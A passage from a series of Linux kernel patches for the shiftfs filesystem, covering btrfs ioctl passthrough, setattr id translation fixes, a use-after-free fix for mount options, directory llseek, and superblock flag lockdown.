3327 -+ !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_IOCTL))
3328 -+ return false;
3329 -+
3330 -+ return true;
3331 -+}
3332 -
3333 - static inline bool shiftfs_passthrough_statfs(struct shiftfs_super_info *info)
3334 - {
3335 -@@ -1345,18 +1361,120 @@ static inline void shiftfs_revert_ioctl_creds(const struct cred *oldcred,
3336 - return shiftfs_revert_object_creds(oldcred, newcred);
3337 - }
3338 -
3339 -+static inline bool is_btrfs_snap_ioctl(int cmd)
3340 -+{
3341 -+ if ((cmd == BTRFS_IOC_SNAP_CREATE) || (cmd == BTRFS_IOC_SNAP_CREATE_V2))
3342 -+ return true;
3343 -+
3344 -+ return false;
3345 -+}
3346 -+
3347 -+static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd,
3348 -+ void __user *arg,
3349 -+ struct btrfs_ioctl_vol_args *v1,
3350 -+ struct btrfs_ioctl_vol_args_v2 *v2)
3351 -+{
3352 -+ int ret;
3353 -+
3354 -+ if (!is_btrfs_snap_ioctl(cmd))
3355 -+ return 0;
3356 -+
3357 -+ if (cmd == BTRFS_IOC_SNAP_CREATE)
3358 -+ ret = copy_to_user(arg, v1, sizeof(*v1));
3359 -+ else
3360 -+ ret = copy_to_user(arg, v2, sizeof(*v2));
3361 -+
3362 -+ fdput(lfd);
3363 -+ __close_fd(current->files, fd);
3364 -+ kfree(v1);
3365 -+ kfree(v2);
3366 -+
3367 -+ return ret;
3368 -+}
3369 -+
3370 -+static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
3371 -+ struct btrfs_ioctl_vol_args **b1,
3372 -+ struct btrfs_ioctl_vol_args_v2 **b2,
3373 -+ struct fd *lfd,
3374 -+ int *newfd)
3375 -+{
3376 -+ int oldfd, ret;
3377 -+ struct fd src;
3378 -+ struct btrfs_ioctl_vol_args *v1 = NULL;
3379 -+ struct btrfs_ioctl_vol_args_v2 *v2 = NULL;
3380 -+
3381 -+ if (!is_btrfs_snap_ioctl(cmd))
3382 -+ return 0;
3383 -+
3384 -+ if (cmd == BTRFS_IOC_SNAP_CREATE) {
3385 -+ v1 = memdup_user(arg, sizeof(*v1));
3386 -+ if (IS_ERR(v1))
3387 -+ return PTR_ERR(v1);
3388 -+ oldfd = v1->fd;
3389 -+ *b1 = v1;
3390 -+ } else {
3391 -+ v2 = memdup_user(arg, sizeof(*v2));
3392 -+ if (IS_ERR(v2))
3393 -+ return PTR_ERR(v2);
3394 -+ oldfd = v2->fd;
3395 -+ *b2 = v2;
3396 -+ }
3397 -+
3398 -+ src = fdget(oldfd);
3399 -+ if (!src.file)
3400 -+ return -EINVAL;
3401 -+
3402 -+ ret = shiftfs_real_fdget(src.file, lfd);
3403 -+ fdput(src);
3404 -+ if (ret)
3405 -+ return ret;
3406 -+
3407 -+ *newfd = get_unused_fd_flags(lfd->file->f_flags);
3408 -+ if (*newfd < 0) {
3409 -+ fdput(*lfd);
3410 -+ return *newfd;
3411 -+ }
3412 -+
3413 -+ fd_install(*newfd, lfd->file);
3414 -+
3415 -+ if (cmd == BTRFS_IOC_SNAP_CREATE) {
3416 -+ v1->fd = *newfd;
3417 -+ ret = copy_to_user(arg, v1, sizeof(*v1));
3418 -+ v1->fd = oldfd;
3419 -+ } else {
3420 -+ v2->fd = *newfd;
3421 -+ ret = copy_to_user(arg, v2, sizeof(*v2));
3422 -+ v2->fd = oldfd;
3423 -+ }
3424 -+
3425 -+ if (ret)
3426 -+ shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);
3427 -+
3428 -+ return ret;
3429 -+}
3430 -+
3431 - static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
3432 - unsigned long arg)
3433 - {
3434 -- long ret = 0;
3435 - struct fd lowerfd;
3436 - struct cred *newcred;
3437 - const struct cred *oldcred;
3438 -+ int newfd = -EBADF;
3439 -+ long err = 0, ret = 0;
3440 -+ void __user *argp = (void __user *)arg;
3441 -+ struct fd btrfs_lfd = {};
3442 - struct super_block *sb = file->f_path.dentry->d_sb;
3443 -+ struct btrfs_ioctl_vol_args *btrfs_v1 = NULL;
3444 -+ struct btrfs_ioctl_vol_args_v2 *btrfs_v2 = NULL;
3445 -+
3446 -+ ret = shiftfs_btrfs_ioctl_fd_replace(cmd, argp, &btrfs_v1, &btrfs_v2,
3447 -+ &btrfs_lfd, &newfd);
3448 -+ if (ret < 0)
3449 -+ return ret;
3450 -
3451 - ret = shiftfs_real_fdget(file, &lowerfd);
3452 - if (ret)
3453 -- return ret;
3454 -+ goto out_restore;
3455 -
3456 - ret = shiftfs_override_ioctl_creds(sb, &oldcred, &newcred);
3457 - if (ret)
3458 -@@ -1372,9 +1490,33 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
3459 - out_fdput:
3460 - fdput(lowerfd);
3461 -
3462 -+out_restore:
3463 -+ err = shiftfs_btrfs_ioctl_fd_restore(cmd, btrfs_lfd, newfd, argp,
3464 -+ btrfs_v1, btrfs_v2);
3465 -+ if (!ret)
3466 -+ ret = err;
3467 -+
3468 - return ret;
3469 - }
3470 -
3471 -+static bool in_ioctl_whitelist(int flag)
3472 -+{
3473 -+ switch (flag) {
3474 -+ case BTRFS_IOC_SNAP_CREATE:
3475 -+ return true;
3476 -+ case BTRFS_IOC_SNAP_CREATE_V2:
3477 -+ return true;
3478 -+ case BTRFS_IOC_SUBVOL_CREATE:
3479 -+ return true;
3480 -+ case BTRFS_IOC_SUBVOL_CREATE_V2:
3481 -+ return true;
3482 -+ case BTRFS_IOC_SNAP_DESTROY:
3483 -+ return true;
3484 -+ }
3485 -+
3486 -+ return false;
3487 -+}
3488 -+
3489 - static long shiftfs_ioctl(struct file *file, unsigned int cmd,
3490 - unsigned long arg)
3491 - {
3492 -@@ -1386,7 +1528,9 @@ static long shiftfs_ioctl(struct file *file, unsigned int cmd,
3493 - case FS_IOC_SETFLAGS:
3494 - break;
3495 - default:
3496 -- return -ENOTTY;
3497 -+ if (!in_ioctl_whitelist(cmd) ||
3498 -+ !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info))
3499 -+ return -ENOTTY;
3500 - }
3501 -
3502 - return shiftfs_real_ioctl(file, cmd, arg);
3503 -@@ -1403,7 +1547,9 @@ static long shiftfs_compat_ioctl(struct file *file, unsigned int cmd,
3504 - case FS_IOC32_SETFLAGS:
3505 - break;
3506 - default:
3507 -- return -ENOIOCTLCMD;
3508 -+ if (!in_ioctl_whitelist(cmd) ||
3509 -+ !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info))
3510 -+ return -ENOIOCTLCMD;
3511 - }
3512 -
3513 - return shiftfs_real_ioctl(file, cmd, arg);
3514 ---
3515 -2.39.2
3516 -
3517 -From 7e64c9484f2524943cde1164852c1888312c010f Mon Sep 17 00:00:00 2001
3518 -From: Seth Forshee <seth.forshee@×××××××××.com>
3519 -Date: Thu, 11 Apr 2019 07:31:04 -0500
3520 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: use translated ids when chaning lower
3521 - fs attrs
3522 -Cc: mpagano@g.o
3523 -
3524 -BugLink: https://bugs.launchpad.net/bugs/1824350
3525 -
3526 -shiftfs_setattr() is preparing a new set of attributes with the
3527 -owner translated for the lower fs, but it then passes the
3528 -original attrs. As a result the owner is set to the untranslated
3529 -owner, which causes the shiftfs inodes to also have incorrect
3530 -ids. For example:
3531 -
3532 - # mkdir dir
3533 - # touch file
3534 - # ls -lh dir file
3535 - drwxr-xr-x 2 root root 4.0K Apr 11 13:05 dir
3536 - -rw-r--r-- 1 root root 0 Apr 11 13:05 file
3537 - # chown 500:500 dir file
3538 - # ls -lh dir file
3539 - drwxr-xr-x 2 1000500 1000500 4.0K Apr 11 12:42 dir
3540 - -rw-r--r-- 1 1000500 1000500 0 Apr 11 12:42 file
3541 -
3542 -Fix this to pass the correct iattr struct to notify_change().
3543 -
3544 -Reviewed-by: Christian Brauner <christian.brauner@××××××.com>
3545 -Acked-by: Thadeu Lima de Souza Cascardo <cascardo@×××××××××.com>
3546 -Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
3547 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
3548 -Signed-off-by: Mike Pagano <mpagano@g.o>
3549 ----
3550 - fs/shiftfs.c | 2 +-
3551 - 1 file changed, 1 insertion(+), 1 deletion(-)
3552 -
3553 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
3554 -index 678cad30f4a5..e736fd6afcb4 100644
3555 ---- a/fs/shiftfs.c
3556 -+++ b/fs/shiftfs.c
3557 -@@ -779,7 +779,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
3558 -
3559 - inode_lock(loweri);
3560 - oldcred = shiftfs_override_creds(dentry->d_sb);
3561 -- err = notify_change(lowerd, attr, NULL);
3562 -+ err = notify_change(lowerd, &newattr, NULL);
3563 - revert_creds(oldcred);
3564 - inode_unlock(loweri);
3565 -
3566 ---
3567 -2.39.2
3568 -
3569 -From 84e09374dce45b2aaec7e719acd209b1e5e4ae85 Mon Sep 17 00:00:00 2001
3570 -From: Seth Forshee <seth.forshee@×××××××××.com>
3571 -Date: Sat, 13 Apr 2019 14:41:01 -0500
3572 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix passing of attrs to underaly for
3573 - setattr
3574 -Cc: mpagano@g.o
3575 -
3576 -BugLink: https://bugs.launchpad.net/bugs/1824717
3577 -
3578 -shiftfs_setattr() makes a copy of the attrs it was passed to pass
3579 -to the lower fs. It then calls setattr_prepare() with the original
3580 -attrs, and this may make changes which are not reflected in the
3581 -attrs passed to the lower fs. To fix this, copy the attrs to the
3582 -new struct for the lower fs after calling setattr_prepare().
3583 -
3584 -Additionally, notify_change() may have set ATTR_MODE when one of
3585 -ATTR_KILL_S[UG]ID is set, and passing this combination to
3586 -notify_change() will trigger a BUG(). Do as overlayfs and
3587 -ecryptfs both do, and clear ATTR_MODE if either of those bits
3588 -is set.
3589 -
3590 -Reviewed-by: Christian Brauner <christian.brauner@××××××.com>
3591 -Acked-by: Marcelo Henrique Cerri <marcelo.cerri@×××××××××.com>
3592 -Acked-by: Brad Figg <brad.figg@×××××××××.com>
3593 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
3594 -Signed-off-by: Mike Pagano <mpagano@g.o>
3595 ----
3596 - fs/shiftfs.c | 10 +++++++++-
3597 - 1 file changed, 9 insertions(+), 1 deletion(-)
3598 -
3599 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
3600 -index e736fd6afcb4..8e064756ea0c 100644
3601 ---- a/fs/shiftfs.c
3602 -+++ b/fs/shiftfs.c
3603 -@@ -765,7 +765,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
3604 - {
3605 - struct dentry *lowerd = dentry->d_fsdata;
3606 - struct inode *loweri = lowerd->d_inode;
3607 -- struct iattr newattr = *attr;
3608 -+ struct iattr newattr;
3609 - const struct cred *oldcred;
3610 - struct super_block *sb = dentry->d_sb;
3611 - int err;
3612 -@@ -774,9 +774,17 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
3613 - if (err)
3614 - return err;
3615 -
3616 -+ newattr = *attr;
3617 - newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid));
3618 - newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid));
3619 -
3620 -+ /*
3621 -+ * mode change is for clearing setuid/setgid bits. Allow lower fs
3622 -+ * to interpret this in its own way.
3623 -+ */
3624 -+ if (newattr.ia_valid & (ATTR_KILL_SUID|ATTR_KILL_SGID))
3625 -+ newattr.ia_valid &= ~ATTR_MODE;
3626 -+
3627 - inode_lock(loweri);
3628 - oldcred = shiftfs_override_creds(dentry->d_sb);
3629 - err = notify_change(lowerd, &newattr, NULL);
3630 ---
3631 -2.39.2
3632 -
3633 -From a3ba10b3019139566fa65c351966ca3482c90819 Mon Sep 17 00:00:00 2001
3634 -From: Christian Brauner <christian@×××××××.io>
3635 -Date: Mon, 15 Apr 2019 15:21:55 +0200
3636 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent use-after-free when verifying
3637 - mount options
3638 -Cc: mpagano@g.o
3639 -
3640 -BugLink: https://bugs.launchpad.net/bugs/1824735
3641 -
3642 -Copy up the passthrough mount settings of the mark mount point to the
3643 -shiftfs overlay.
3644 -
3645 -Before this commit we used to keep a reference to the shiftfs mark
3646 -mount's shiftfs_super_info which was stashed in the superblock of the
3647 -mark mount. The problem is that we only take a reference to the mount of
3648 -the underlay, i.e. the filesystem that is *under* the shiftfs mark
3649 -mount. This means when someone performs a shiftfs mark mount, then a
3650 -shiftfs overlay mount and then immediately unmounts the shiftfs mark
3651 -mount we muck with invalid memory since shiftfs_put_super might have
3652 -already been called freeing that memory.
3653 -
3654 -Another solution would be to start reference counting. But this would be
3655 -overkill. We only care about the passthrough mount option of the mark
3656 -mount. And we only need it to verify that on remount the new passthrough
3657 -options of the shiftfs overlay are a subset of the mark mount's
3658 -passthrough options. In other scenarios we don't care. So copying up is
3659 -good enough and also only needs to happen once on mount, i.e. when a new
3660 -superblock is created and the .fill_super method is called.
3661 -
3662 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
3663 -Acked-by: Seth Forshee <seth.forshee@×××××××××.com>
3664 -Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
3665 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
3666 -Signed-off-by: Mike Pagano <mpagano@g.o>
3667 ----
3668 - fs/shiftfs.c | 29 ++++++++++++++++++-----------
3669 - 1 file changed, 18 insertions(+), 11 deletions(-)
3670 -
3671 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
3672 -index 8e064756ea0c..4c8a6ec2a617 100644
3673 ---- a/fs/shiftfs.c
3674 -+++ b/fs/shiftfs.c
3675 -@@ -28,7 +28,7 @@ struct shiftfs_super_info {
3676 - const struct cred *creator_cred;
3677 - bool mark;
3678 - unsigned int passthrough;
3679 -- struct shiftfs_super_info *info_mark;
3680 -+ unsigned int passthrough_mark;
3681 - };
3682 -
3683 - struct shiftfs_file_info {
3684 -@@ -52,10 +52,6 @@ static inline bool shiftfs_passthrough_ioctls(struct shiftfs_super_info *info)
3685 - if (!(info->passthrough & SHIFTFS_PASSTHROUGH_IOCTL))
3686 - return false;
3687 -
3688 -- if (info->info_mark &&
3689 -- !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_IOCTL))
3690 -- return false;
3691 --
3692 - return true;
3693 - }
3694 -
3695 -@@ -64,10 +60,6 @@ static inline bool shiftfs_passthrough_statfs(struct shiftfs_super_info *info)
3696 - if (!(info->passthrough & SHIFTFS_PASSTHROUGH_STAT))
3697 - return false;
3698 -
3699 -- if (info->info_mark &&
3700 -- !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_STAT))
3701 -- return false;
3702 --
3703 - return true;
3704 - }
3705 -
3706 -@@ -1824,7 +1816,7 @@ static int shiftfs_remount(struct super_block *sb, int *flags, char *data)
3707 -
3708 - if (info->passthrough != new.passthrough) {
3709 - /* Don't allow exceeding passthrough options of mark mount. */
3710 -- if (!passthrough_is_subset(info->info_mark->passthrough,
3711 -+ if (!passthrough_is_subset(info->passthrough_mark,
3712 - info->passthrough))
3713 - return -EPERM;
3714 -
3715 -@@ -1926,9 +1918,19 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
3716 -
3717 - sbinfo->mnt = mntget(sbinfo_mp->mnt);
3718 - dentry = dget(path.dentry->d_fsdata);
3719 -+ /*
3720 -+ * Copy up the passthrough mount options from the
3721 -+ * parent mark mountpoint.
3722 -+ */
3723 -+ sbinfo->passthrough_mark = sbinfo_mp->passthrough_mark;
3724 - } else {
3725 - sbinfo->mnt = mntget(path.mnt);
3726 - dentry = dget(path.dentry);
3727 -+ /*
3728 -+ * For a new mark passthrough_mark and passthrough
3729 -+ * are identical.
3730 -+ */
3731 -+ sbinfo->passthrough_mark = sbinfo->passthrough;
3732 - }
3733 -
3734 - sbinfo->creator_cred = prepare_creds();
3735 -@@ -1956,7 +1958,12 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
3736 - sbinfo->mnt = mntget(sbinfo_mp->mnt);
3737 - sbinfo->creator_cred = get_cred(sbinfo_mp->creator_cred);
3738 - dentry = dget(path.dentry->d_fsdata);
3739 -- sbinfo->info_mark = sbinfo_mp;
3740 -+ /*
3741 -+ * Copy up passthrough settings from mark mountpoint so we can
3742 -+ * verify when the overlay wants to remount with different
3743 -+ * passthrough settings.
3744 -+ */
3745 -+ sbinfo->passthrough_mark = sbinfo_mp->passthrough;
3746 - }
3747 -
3748 - sb->s_stack_depth = dentry->d_sb->s_stack_depth + 1;
3749 ---
3750 -2.39.2
3751 -
3752 -From a6ec1bf679d71f552f3eee7bf2b5458a6ea71e9a Mon Sep 17 00:00:00 2001
3753 -From: Christian Brauner <christian@×××××××.io>
3754 -Date: Tue, 16 Apr 2019 18:29:00 +0200
3755 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: use separate llseek method for
3756 - directories
3757 -Cc: mpagano@g.o
3758 -
3759 -BugLink: https://bugs.launchpad.net/bugs/1824812
3760 -
3761 -Give shiftfs it's own proper llseek method for directories.
3762 -
3763 -Before this commit we used to rely on an llseek method that was
3764 -targeted for regular files for both directories and regular files.
3765 -However, the realfile's f_pos was not correctly handled when userspace
3766 -called lseek(2) on a shiftfs directory file. Give directories their
3767 -own llseek operation so that seeking on a directory file is properly
3768 -supported.
3769 -
3770 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
3771 -Acked-by: Seth Forshee <seth.forshee@×××××××××.com>
3772 -Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
3773 -Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
3774 -Signed-off-by: Kleber Sacilotto de Souza <kleber.souza@×××××××××.com>
3775 -Signed-off-by: Mike Pagano <mpagano@g.o>
3776 ----
3777 - fs/shiftfs.c | 14 +++++++++++---
3778 - 1 file changed, 11 insertions(+), 3 deletions(-)
3779 -
3780 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
3781 -index 4c8a6ec2a617..9771165d1ce0 100644
3782 ---- a/fs/shiftfs.c
3783 -+++ b/fs/shiftfs.c
3784 -@@ -1144,7 +1144,15 @@ static int shiftfs_release(struct inode *inode, struct file *file)
3785 - return 0;
3786 - }
3787 -
3788 --static loff_t shiftfs_llseek(struct file *file, loff_t offset, int whence)
3789 -+static loff_t shiftfs_dir_llseek(struct file *file, loff_t offset, int whence)
3790 -+{
3791 -+ struct shiftfs_file_info *file_info = file->private_data;
3792 -+ struct file *realfile = file_info->realfile;
3793 -+
3794 -+ return vfs_llseek(realfile, offset, whence);
3795 -+}
3796 -+
3797 -+static loff_t shiftfs_file_llseek(struct file *file, loff_t offset, int whence)
3798 - {
3799 - struct inode *realinode = file_inode(file)->i_private;
3800 -
3801 -@@ -1653,7 +1661,7 @@ static int shiftfs_iterate_shared(struct file *file, struct dir_context *ctx)
3802 - const struct file_operations shiftfs_file_operations = {
3803 - .open = shiftfs_open,
3804 - .release = shiftfs_release,
3805 -- .llseek = shiftfs_llseek,
3806 -+ .llseek = shiftfs_file_llseek,
3807 - .read_iter = shiftfs_read_iter,
3808 - .write_iter = shiftfs_write_iter,
3809 - .fsync = shiftfs_fsync,
3810 -@@ -1670,7 +1678,7 @@ const struct file_operations shiftfs_dir_operations = {
3811 - .compat_ioctl = shiftfs_compat_ioctl,
3812 - .fsync = shiftfs_fsync,
3813 - .iterate_shared = shiftfs_iterate_shared,
3814 -- .llseek = shiftfs_llseek,
3815 -+ .llseek = shiftfs_dir_llseek,
3816 - .open = shiftfs_open,
3817 - .read = generic_read_dir,
3818 - .release = shiftfs_release,
3819 ---
3820 -2.39.2
3821 -
3822 -From 10c6312a5c1cd2fbbbcb47adf7597e8cb2e18391 Mon Sep 17 00:00:00 2001
3823 -From: Christian Brauner <christian@×××××××.io>
3824 -Date: Wed, 8 May 2019 14:13:14 +0200
3825 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: lock down certain superblock flags
3826 -Cc: mpagano@g.o
3827 -
3828 -BugLink: https://bugs.launchpad.net/bugs/1827122
3829 -
3830 -This locks down various superblock flags to prevent userns-root from
3831 -remounting a superblock with less restrictive options than the original
3832 -mark or underlay mount.
3833 -
3834 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
3835 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
3836 -Signed-off-by: Mike Pagano <mpagano@g.o>
3837 ----
3838 - fs/shiftfs.c | 47 ++++++++++++++++++++++++++++++++++++++++++++++-
3839 - 1 file changed, 46 insertions(+), 1 deletion(-)
3840 -
3841 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
3842 -index 9771165d1ce0..a1dae7ea593b 100644
3843 ---- a/fs/shiftfs.c
3844 -+++ b/fs/shiftfs.c
3845 -@@ -1808,6 +1808,33 @@ static inline bool passthrough_is_subset(int old_flags, int new_flags)
3846 - return true;
3847 - }
3848 -
3849 -+static int shiftfs_super_check_flags(unsigned long old_flags,
3850 -+ unsigned long new_flags)
3851 -+{
3852 -+ if ((old_flags & SB_RDONLY) && !(new_flags & SB_RDONLY))
3853 -+ return -EPERM;
3854 -+
3855 -+ if ((old_flags & SB_NOSUID) && !(new_flags & SB_NOSUID))
3856 -+ return -EPERM;
3857 -+
3858 -+ if ((old_flags & SB_NODEV) && !(new_flags & SB_NODEV))
3859 -+ return -EPERM;
3860 -+
3861 -+ if ((old_flags & SB_NOEXEC) && !(new_flags & SB_NOEXEC))
3862 -+ return -EPERM;
3863 -+
3864 -+ if ((old_flags & SB_NOATIME) && !(new_flags & SB_NOATIME))
3865 -+ return -EPERM;
3866 -+
3867 -+ if ((old_flags & SB_NODIRATIME) && !(new_flags & SB_NODIRATIME))
3868 -+ return -EPERM;
3869 -+
3870 -+ if (!(old_flags & SB_POSIXACL) && (new_flags & SB_POSIXACL))
3871 -+ return -EPERM;
3872 -+
3873 -+ return 0;
3874 -+}
3875 -+
3876 - static int shiftfs_remount(struct super_block *sb, int *flags, char *data)
3877 - {
3878 - int err;
3879 -@@ -1818,6 +1845,10 @@ static int shiftfs_remount(struct super_block *sb, int *flags, char *data)
3880 - if (err)
3881 - return err;
3882 -
3883 -+ err = shiftfs_super_check_flags(sb->s_flags, *flags);
3884 -+ if (err)
3885 -+ return err;
3886 -+
3887 - /* Mark mount option cannot be changed. */
3888 - if (info->mark || (info->mark != new.mark))
3889 - return -EPERM;
3890 -@@ -1847,6 +1878,16 @@ struct shiftfs_data {
3891 - const char *path;
3892 - };
3893 -
3894 -+static void shiftfs_super_force_flags(struct super_block *sb,
3895 -+ unsigned long lower_flags)
3896 -+{
3897 -+ sb->s_flags |= lower_flags & (SB_RDONLY | SB_NOSUID | SB_NODEV |
3898 -+ SB_NOEXEC | SB_NOATIME | SB_NODIRATIME);
3899 -+
3900 -+ if (!(lower_flags & SB_POSIXACL))
3901 -+ sb->s_flags &= ~SB_POSIXACL;
3902 -+}
3903 -+
3904 - static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
3905 - int silent)
3906 - {
3907 -@@ -1888,6 +1929,8 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
3908 - goto out_put_path;
3909 - }
3910 -
3911 -+ sb->s_flags |= SB_POSIXACL;
3912 -+
3913 - if (sbinfo->mark) {
3914 - struct super_block *lower_sb = path.mnt->mnt_sb;
3915 -
3916 -@@ -1904,6 +1947,8 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
3917 - */
3918 - sb->s_iflags = SB_I_NOEXEC;
3919 -
3920 -+ shiftfs_super_force_flags(sb, lower_sb->s_flags);
3921 -+
3922 - /*
3923 - * Handle nesting of shiftfs mounts by referring this mark
3924 - * mount back to the original mark mount. This is more
3925 -@@ -1972,6 +2017,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
3926 - * passthrough settings.
3927 - */
3928 - sbinfo->passthrough_mark = sbinfo_mp->passthrough;
3929 -+ shiftfs_super_force_flags(sb, path.mnt->mnt_sb->s_flags);
3930 - }
3931 -
3932 - sb->s_stack_depth = dentry->d_sb->s_stack_depth + 1;
3933 -@@ -1995,7 +2041,6 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
3934 - sb->s_op = &shiftfs_super_ops;
3935 - sb->s_xattr = shiftfs_xattr_handlers;
3936 - sb->s_d_op = &shiftfs_dentry_ops;
3937 -- sb->s_flags |= SB_POSIXACL;
3938 - sb->s_root = d_make_root(inode);
3939 - if (!sb->s_root) {
3940 - err = -ENOMEM;
3941 ---
3942 -2.39.2
3943 -
3944 -From 650ec55632c03c03e6cc5b08a764609b4b0eb192 Mon Sep 17 00:00:00 2001
3945 -From: Christian Brauner <christian@×××××××.io>
3946 -Date: Tue, 11 Jun 2019 11:47:35 +0200
3947 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: allow changing ro/rw for subvolumes
3948 -Cc: mpagano@g.o
3949 -
3950 -BugLink: https://bugs.launchpad.net/bugs/1832316
3951 -
3952 -This enables toggling between ro/rw for btrfs subvolumes under shiftfs.
3953 -
3954 -Currently, btrfs workloads employing shiftfs cause regression.
3955 -With btrfs unprivileged users can already toggle whether a subvolume
3956 -will be ro or rw. This is broken on current shiftfs as we haven't
3957 -whitelisted these ioctls().
3958 -To prevent such regression, we need to whitelist the ioctls
3959 -BTRFS_IOC_FS_INFO, BTRFS_IOC_SUBVOL_GETFLAGS, and
3960 -BTRFS_IOC_SUBVOL_SETFLAGS. All of them should be safe for unprivileged
3961 -users.
3962 -
3963 -Cc: Seth Forshee <seth.forshee@×××××××××.com>
3964 -Cc: Tyler Hicks <tyhicks@×××××××××.com>
3965 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
3966 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
3967 -Signed-off-by: Mike Pagano <mpagano@g.o>
3968 ----
3969 - fs/shiftfs.c | 21 ++++++++++++++++++---
3970 - 1 file changed, 18 insertions(+), 3 deletions(-)
3971 -
3972 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
3973 -index a1dae7ea593b..49f6714e9f95 100644
3974 ---- a/fs/shiftfs.c
3975 -+++ b/fs/shiftfs.c
3976 -@@ -1507,9 +1507,14 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
3977 - return ret;
3978 - }
3979 -
3980 --static bool in_ioctl_whitelist(int flag)
3981 -+static bool in_ioctl_whitelist(int flag, unsigned long arg)
3982 - {
3983 -+ void __user *argp = (void __user *)arg;
3984 -+ u64 flags = 0;
3985 -+
3986 - switch (flag) {
3987 -+ case BTRFS_IOC_FS_INFO:
3988 -+ return true;
3989 - case BTRFS_IOC_SNAP_CREATE:
3990 - return true;
3991 - case BTRFS_IOC_SNAP_CREATE_V2:
3992 -@@ -1517,6 +1522,16 @@ static bool in_ioctl_whitelist(int flag)
3993 - case BTRFS_IOC_SUBVOL_CREATE:
3994 - return true;
3995 - case BTRFS_IOC_SUBVOL_CREATE_V2:
3996 -+ return true;
3997 -+ case BTRFS_IOC_SUBVOL_GETFLAGS:
3998 -+ return true;
3999 -+ case BTRFS_IOC_SUBVOL_SETFLAGS:
4000 -+ if (copy_from_user(&flags, arg, sizeof(flags)))
4001 -+ return false;
4002 -+
4003 -+ if (flags & ~BTRFS_SUBVOL_RDONLY)
4004 -+ return false;
4005 -+
4006 - return true;
4007 - case BTRFS_IOC_SNAP_DESTROY:
4008 - return true;
4009 -@@ -1536,7 +1551,7 @@ static long shiftfs_ioctl(struct file *file, unsigned int cmd,
4010 - case FS_IOC_SETFLAGS:
4011 - break;
4012 - default:
4013 -- if (!in_ioctl_whitelist(cmd) ||
4014 -+ if (!in_ioctl_whitelist(cmd, arg) ||
4015 - !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info))
4016 - return -ENOTTY;
4017 - }
4018 -@@ -1555,7 +1570,7 @@ static long shiftfs_compat_ioctl(struct file *file, unsigned int cmd,
4019 - case FS_IOC32_SETFLAGS:
4020 - break;
4021 - default:
4022 -- if (!in_ioctl_whitelist(cmd) ||
4023 -+ if (!in_ioctl_whitelist(cmd, arg) ||
4024 - !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info))
4025 - return -ENOIOCTLCMD;
4026 - }
4027 ---
4028 -2.39.2
4029 -
4030 -From cd66a65bbea66683404adadd7d61ec02d04ac21a Mon Sep 17 00:00:00 2001
4031 -From: Christian Brauner <christian@×××××××.io>
4032 -Date: Fri, 19 Jul 2019 17:50:46 +0200
4033 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: add O_DIRECT support
4034 -Cc: mpagano@g.o
4035 -
4036 -BugLink: https://bugs.launchpad.net/bugs/1837223
4037 -
4038 -This enabled O_DIRECT support for shiftfs if the underlay supports it.
4039 -
4040 -Currently shiftfs does not handle O_DIRECT if the underlay supports it.
4041 -This is blocking dqlite - an essential part of LXD - from profiting from
4042 -the performance benefits of O_DIRECT on suitable filesystems when used
4043 -with async io such as aio or io_uring.
4044 -Overlayfs cannot support this directly since the upper filesystem in
4045 -overlay can be any filesystem. So if the upper filesystem does not
4046 -support O_DIRECT but the lower filesystem does you're out of luck.
4047 -Shiftfs does not suffer from the same problem since there is not concept
4048 -of an upper filesystem in the same way that overlayfs has it.
4049 -Essentially, shiftfs is a transparent shim relaying everything to the
4050 -underlay while overlayfs' upper layer is not (completely).
4051 -
4052 -Cc: Seth Forshee <seth.forshee@×××××××××.com>
